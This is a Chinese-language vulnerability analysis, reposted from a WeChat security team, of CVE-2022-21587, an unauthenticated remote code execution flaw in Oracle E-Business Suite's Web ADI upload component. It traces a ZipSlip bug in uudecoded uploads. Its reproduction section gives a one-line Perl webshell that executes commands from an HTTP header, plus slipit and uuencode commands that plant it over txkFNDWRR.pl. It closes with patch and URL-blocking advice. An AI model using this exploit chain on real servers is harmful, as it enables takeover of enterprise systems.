CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

渗透技巧 1年前 (2023) admin
1,348 0 0


CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)




· Oracle E-Business Suite (Oracle EBS) 被誉为全球领先的 ERP(企业资源规划)解决方案之一。这是一组企业管理应用程序,可以对所有业务领域进行有效管理和自动化:财务会计、服务贸易、生产、供应、材料和货物……

· 在去年 10 月的 Oracle 关键补丁中,该软件在 Upload 组件中存在 2 个 CVSS 9.8 漏洞,属于一个名为 Oracle Web Applications Desktop Integrator 的子应用程序。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

· 下面的文章将分析上述2个CVE中的1个。 


01
安装

· Oracle EBS的安装有两种方式,一种是安装各个组件,另一种是导入Oracle Linux操作系统预装的OVA文件。这两种方法都需要从https://edelivery.oracle.com/下载安装文件,总大小约为66GB。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

· 因为在安装Oracle产品的时候经历过很多痛苦,所以本文选择了快速导入VM。

· 安装步骤,您可以按照这里的说明进行操作

https://blog.rishoradev.com/2021/04/12/oracle-ebs-r12-on-virtualbox/

· 将下载好的ovf和vmdk 文件导入VM中即可 

02
配置

    

· 通过Google搜索找到了一些描述Oracle 12.2架构的图 

1.概述

    架构图

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)


* 结合查看服务器上的进程和网络,了解到几点:

    * Oracle EBS的所有组件都位于文件夹中

/u01/install/APPS

   * OHS(Oracle HTTP Server,基于httpd)通过8000端口接收来自外部的连接。配置文件位于 

/u01/install/APPS/fs1/FMW_Home/webtier/instances/EBS_web_OHS1/config/OHS/EBS_web/

    有2个文件httpd.conf和apps.conf包含主要配置。 

    * 部署在weblogic上的5台服务器只在本地监听其中只有2台服务器是OHS转发的`OACORE`,`FORMS`。这两个服务器的web.xml位置在 

/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml

/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/WEB-INF/web.xml


CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

2.调试

* ssh 转发端口 weblogic admin about 并登录:ssh [email protected] -L 7001:apps.example.com:7001 | weblogic | welcome1

* 在选项卡中添加调试参数`Configuartion / Server Start`然后保存+活动更改 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 转到选项卡Control,强制关闭并再次启动服务器 



03
分析

    

* 根据上图可以看出,Oracle EBS是一个非常庞大的应用,由数以万计的JSP文件和数千个类组成。不过整体分解检查还是需要很多时间的,所以先搜索相关的文档资料缩小范围:

    * 该应用程序的文档

https://docs.oracle.com/cd/V46499_02/current/acrobat/122bneig.pdf

    Oracle Web Applications Desktop Integrator提到了另一个名称作为WEBADI Servlets和oracle.apps.bne

    * OACORE服务器的web.xml文件也有一个名为oracle.apps.bne.integrator.upload.BneUploaderService

    * 从oracle.apps.bne开始尝试分析。浏览文件,发现最引人注目的是oracle.apps.bne.framework.BneMultipartRequest。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

    * doUploadFile该文件中的函数将解码名称中包含该字符串的文件uue,然后将其提供给doUnZip。进入这个函数,发现了一个ZipSlip的漏洞。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 可以调用Call Hierarchy函数的检查doUploadFileBneAbstractXMLServlet

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 但是这个servlet只有1个abstract class,在web.xml中没有映射。接下来跟踪Method Hierachy以查找doRequest遗留servlet中的方法。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 上面的所有4个servlet都有url-pattern映射到。每个子类前面的减号表示它们没有覆盖doRequest父类的功能。 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 来自servletBneUnZip.doUnZip()的请求需要满足条件,即函数中的文件变量BneMultipartRequest.doUploadFile()必须有一个包含字符串的名称uue。但是不能任意控制这个变量的任何元素,只有后缀可以通过BneAbstractXMLServlet.getMultipartFileNameSuffix()下面的函数选择2种格式中的一种。

    * bne:uueupload必须为文件扩展名设置参数为.uue

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

    * 这里会设置后缀uue

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 接下来,要分析函数doDecode

    * 这里有很多代码和base64 decode很像,所以一开始猜测这是Oracle定制的一个单独的encode form。 

    * 看各子函数中的`shift`,`and`,`xor`数学运算挺头疼的,于是尝试Google搜索,原来这是`uuencoding`(常用来对电子邮件系统中的二进制文件进行编码。老ctfer应该都知道) 



04
复现

    

1.工具安装


* 在ubuntu上,该工具uuencode通过apt安装sharutils

sudo apt-get install sharutils


CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 还需要使用`slipit`创建一个zip,`slipit`需要使用`python pip`进行安装 

python3 -m pip install slipit

* 安装好以后在当前用户的下存在执行文件~/.local/bin/slipit,然后通过软连接为可执行命令 

ln -s ~/.local/bin/slipit /usr/local/bin/slipit

2.shell生成

* 本以为来的时候只要把jsp shell写到OACORE服务器的webroot下就行了,但是访问shell的时候却被拒绝了 

* 也尝试添加一些其他的写文件的方向,比如css、js等静态文件,均被拒绝访问。

* 分析以后极有可能是`Oracle EBS`在某个Filter或Servlet中设置了url的白名单。在web.xml中搜索,确定原因在oracle.apps.fnd.security.WLFilter中 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 从`ver 12.2.7`开始,白名单被保存到数据库中,如果想添加一个新文件,必须在服务器上运行命令或使用管理员的web功能。感觉绕过`WLFilter`还是挺难的,于是转而写到其他服务器的webroot。

* 在FORMS服务器上,webshell运行成功。但是实际测试遇到了几次这个服务被关闭或者被屏蔽的情况,于是继续寻找其他的方法。

* 在OHS的配置中,多了一个Location标签转发给OACORE服务器。

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)


* 所有对OACORE的扩展请求.pl都必须通过weblogic.servlet.CGIServlet

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)


* 调试到这个Servlet中 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)


CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 在代码解析用户请求中的query, header, …之后,最后这个servlet会调用命令运行一个固定的perl文件,命名为txkFNDWRR.pl。所以可以覆盖这个文件并将其用作webshell。搜索了一段时间后,能够用perl编写一个 webshell,如下所示: 

use CGI;print CGI::header( -type => 'text/plain' );my $cmd = CGI::http('HTTP_CMD');print system($cmd);exit 0;


* 在当前目录创建txkFNDWRR.pl文件 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 使用slipit生成zip

slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/common/scripts' testzuue.zip txkFNDWRR.pl

* 使用uuencode进行编码

uuencode testzuue.zip test.zip 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 使用burp发包测试 

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

* 访问shell地址/OA_CGI/FNDWRR.exe

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)



04
修复建议

* 修复此漏洞的最佳方法是安装来自 Oracle 的补丁。如果无法更新,您可以使用防火墙阻止发送到以下 URL 的请求: 

/OA_HTML/BneUploaderService/OA_HTML/BneViewerXMLService/OA_HTML/BneDownloadService/OA_HTML/BneOfflineLOVService

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)


AKSK姿

AKSK姿

.net

穿

OARCE

Gobypass 



CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)
EN


CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)





原文始发于微信公众号(川云安全团队):CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE)

版权声明:admin 发表于 2023年2月23日 上午11:40。
转载请注明:CVE-2022-21587(Oracle E-Business Suite未经身份验证的 RCE) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...